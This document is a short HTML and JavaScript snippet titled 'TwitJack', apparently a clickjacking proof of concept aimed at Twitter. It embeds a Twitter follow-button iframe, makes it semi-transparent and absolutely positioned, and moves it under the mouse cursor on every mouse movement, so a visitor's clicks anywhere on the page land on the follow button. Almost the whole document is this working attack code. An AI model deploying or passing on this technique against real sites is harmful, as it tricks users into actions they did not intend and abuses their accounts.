TwitJack

<html>
<body>
...
<iframe class="twitter-follow-button" allowtransparency="true" frameborder="0" scrolling="no"
  src="http://platform.twitter.com/widgets/follow_button.html?screen_name=YourUserNameHere"
  style="width:75px; height:20px;">
</iframe>

<script>
if (!document.getElementsByClassName){
    document.getElementsByClassName = function(classname){
        for (i=0; i<document.getElementsByTagName("*").length; i++)
        {
            if (document.getElementsByTagName("*").item(i).className == classname){
                return new Array(document.getElementsByTagName("*").item(i));
            }
        }
    }
}

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';
//twitterFollowIframe.style.width = '110px';

/*
// cross domain restriction won't allow this
twitterFollowIframe.onload = function() {
    twitterFollowIframe.contentWindow.scrollTo(20, 0);
}
*/

document.onmousemove = function(e){
    if ( !e ) e = window.event;
    twitterFollowIframe.style.left = e.clientX - 20;
    twitterFollowIframe.style.top = e.clientY - 10;
}
</script>
...
</body>
</html>